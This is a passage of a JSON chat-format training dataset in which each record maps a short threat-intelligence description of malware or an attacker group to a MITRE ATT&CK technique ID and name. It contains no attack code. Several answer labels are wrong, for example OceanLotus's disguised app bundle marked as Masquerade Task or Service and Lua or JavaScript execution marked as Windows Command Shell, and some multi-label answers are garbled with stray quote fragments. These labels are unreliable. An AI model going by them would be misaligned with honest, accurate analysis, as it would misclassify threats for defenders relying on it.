                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT can obtain the date and time of a system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has planted Web shells on Outlook Exchange servers."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies files with certain extensions and copies them to a directory in the user's profile."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has exploited or attempted to exploit Zerologon (CVE-2020-1472) and EternalBlue (MS17-010) vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has the ability to respawn itself using \"ShellExecuteW\" and \"CreateProcessW\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FLASHFLOOD employs the same encoding scheme as SPACESHIP for data it stages. Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape searches for kubectl.exe by name and the config file using a regular expression. The search function takes an extra argument: a pointer to a vector that holds folder names to exclude from the search"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "At the beginning of 2017, Silent Librarian began to regularly obtain free Let’s Encrypt SSL certificates for their phishing pages. This technique, which we have previous discussed at length in blog posts from November and December, is used to create more realistic-looking phishing pages"
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Quickly after the initial compromise, the operator deploys a tool named \"dog.exe. This malware is written in .NET and its purpose is to monitor hard drive paths and to exfiltrate the information via an email account or an FTP, depending on the configuration. The configuration file is named dconf.json"
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then issues a SOAP request to delete the processed email. This completes the process in which the payload receives inbound communications from the actor"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates command output and collected files to its C2 server in 1500-byte blocks."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has cleaned up all files associated with the secondary payload execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It will use an auto-run registry (HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) named AdobeMX that will execute PowerShell to load the encoded executable via reflective loading (loading an executable from memory rather than from the system’s disks"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has exfiltrated files and directories of interest from the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "downloads additional files from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses Rundll32 to ensure only a single instance of itself is running at once."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHOTPUT has a command to list all servers in the domain, as well as one to locate domain controllers on a domain."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi takes screenshots of windows of interest."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager"
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One, called \"frown.py,\" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has used mshta.exe for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kessel can RC4-encrypt credentials before sending to the C2."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a feature to perform SYN flood attack on a host."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay has used names to mimic legitimate software including \"vmtoolsd.exe\" to spoof Vmtools."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component can spider authentication portals."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FruitFly persists via a Launch Agent."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 used an HTTP malware variant and a Port 22 malware variant to collect the MAC address and IP address from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown can use DLL side-loading to load malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX_OCEANLOTUS.D has disguised its app bundle by adding special characters to the filename and using the icon for legitimate Word documents."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We have been tracking RDAT since 2017, when we first saw this tool uploaded to a webshell related to the TwoFace webshell discussed in our Striking Oil blog published on September 26, 2017. RDAT has been under active development since 2017, resulting in multiple variations of the tool that rely on both HTTP and DNS tunneling for C2 communications. In June 2018, the developer of RDAT added the ability to use Exchange Web Services (EWS) to send and receive emails for C2 communications. This email-based C2 channel is novel in its design, as it relies on steganography to hide commands and exfiltrates data within BMP images attached to the emails. The combination of using emails with steganographic images to carry the data across the C2 can result in this activity being much more difficult to detect and allow for higher chances of defense evasion"
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols', 'T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd can be used to find files and directories with native functionality such as \"dir\" commands."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used legitimate services like Google Docs, Google Scripts, and Pastebin for C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet checks for specific operating systems on 32-bit machines, Registry keys, and dates for vulnerabilities, and will exit execution if the values are not met."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The r1.log file stores information for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has collected credit card data using native API functions."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has used mshta.exe to download and execute applications from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor has downloaded additional files onto a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used the publicly available tool SoftPerfect Network Scanner as well as a custom tool called GOLDIRONY to conduct network scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet attempts to impersonate an anonymous token to enumerate bindings in the service control manager."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In previous iterations, the Astaroth Trojan campaign used cerutil to download files. In this iteration, they have replaced certutil with BITSAdmin"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal leveraged a watering hole to serve up malicious code."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has used malware to decrypt encrypted CAB files."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Embedded Downloader Trojan The M payload (referenced previously along with the R payload, above) injected and executed within the memory space of the other process is a downloader Trojan. This specific downloader appears to have been created using a VB2Exe tool, as the functional code that carries out the downloading functionality exists as a VBScript embedded within the payload. The payload extracts this VBScript from a resource and saves it to a file that it extracts from another resource"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download remote files onto victims."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT collects the victim username along with other account information (account type, description, full name, SID and status)."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner can download additional scripts from a web server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used \"net localgroup administrators\" to identify  accounts with local administrative rights."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 registered devices in order to enable mailbox syncing via the \"Set-CASMailbox\" command."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has attempted to install a scheduled task named “Java Maintenance64” on startup to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex has checked the number of CPUs in the system to avoid being run in a sandbox or emulator."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the code employs byte randomization to obscure its behavior. This is achieved by using the host’s current time as a seed for a pseudorandom number generator, and then performing additional operations against that output. The resulting values are used to overwrite blocks of previously executed code. This byte manipulation is the first anti-analysis technique observed in the code, as any attempt to dump the memory segment would result in illegitimate or incorrect operations"
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before being deleted, the DLL executes a string decoding routine that is designed to execute for about a minute, spiking central processing unit (CPU) usage for the regsvr32.exe process. Once the strings are decoded, the More_eggs components are decrypted, dropped to the system (normally in the %APPDATA%\\Microsoft\\ or %ProgramData%\\Microsoft\\ directories) and executed"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has staged malware on fraudulent websites set up to impersonate targeted organizations."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "While the logo and commands are identical to the original hacktool, the name was changed to OrangeTeghal. To evade security software while deploying this tool on compromised systems, the attackers use a technique revealed at Black Hat EU ‘17 in the presentation Lost in Transaction: Process Doppelgänging. Process Doppelgänging uses NTFS transactions to modify the executable of a seemingly benign process that is suspended right after creation"
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton removes logs from \"/var/logs\" and \"/Library/logs\"."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used Regsvr32 to bypass application whitelisting techniques."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan uses a backdoor known as BADFLICK that is is capable of generating a reverse shell, and has used multiple types of scripting for execution, including JavaScript and JavaScript Scriptlets in XML.."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command_Keylog_offline:  Load into memory a dll that contains the function “PluginMe”.  After researching and analyzing additional Gh0stRAT samples while trying to figure out what dll contains “PluginMe”, I found a DLL for keylogging (called Keylog.dll) in a Gh0stRAT 2.0 sample that exported “PluginMe”.  Using that and a cross-comparison of another Gh0stRAT sample that I’ve previously analyzed, I was able to determine that “PluginMe” is a offline keyboard manager"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection', 'T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking', 'T1218.011 - Signed Binary Proxy Execution: Rundll32', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent can use a hardcoded server public RSA key to encrypt the first request to C2."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has attempted to lure users into opening malicious MS Word and Excel files to execute malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth collects data in a plaintext file named r1.log before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has used malware to disable Windows Defender through modification of the Registry."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This section describes how we identified additional Stealth Falcon victims and bait content, and traced Stealth Falcon’s spyware to additional C2 servers"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can leverage its implementation of Mimikatz to obtain and use silver tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These vulnerabilities include:CVE-2015-6585: Hangul Word Processor VulnerabilityCVE-2015-8651: Adobe Flash Player 18.0.0.324 and 19.x VulnerabilityCVE-2016-0034: Microsoft Silverlight 5.1.41212.0 VulnerabilityCVE-2016-1019: Adobe Flash Player 21.0.0.197 VulnerabilityCVE-2016-4117: Adobe Flash Player 21.0.0.226 VulnerabilityDHS recommends that organizations upgrade these applications to the latest version and patch level"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the machine's local time, XCSSET waits 43200 seconds (12 hours) from the initial creation timestamp of a specific file, \".report\". After the elapsed time, XCSSET executes additional modules."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has an integrated scripting engine to download and execute Lua scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Maze encryption process has used batch scripts with various commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
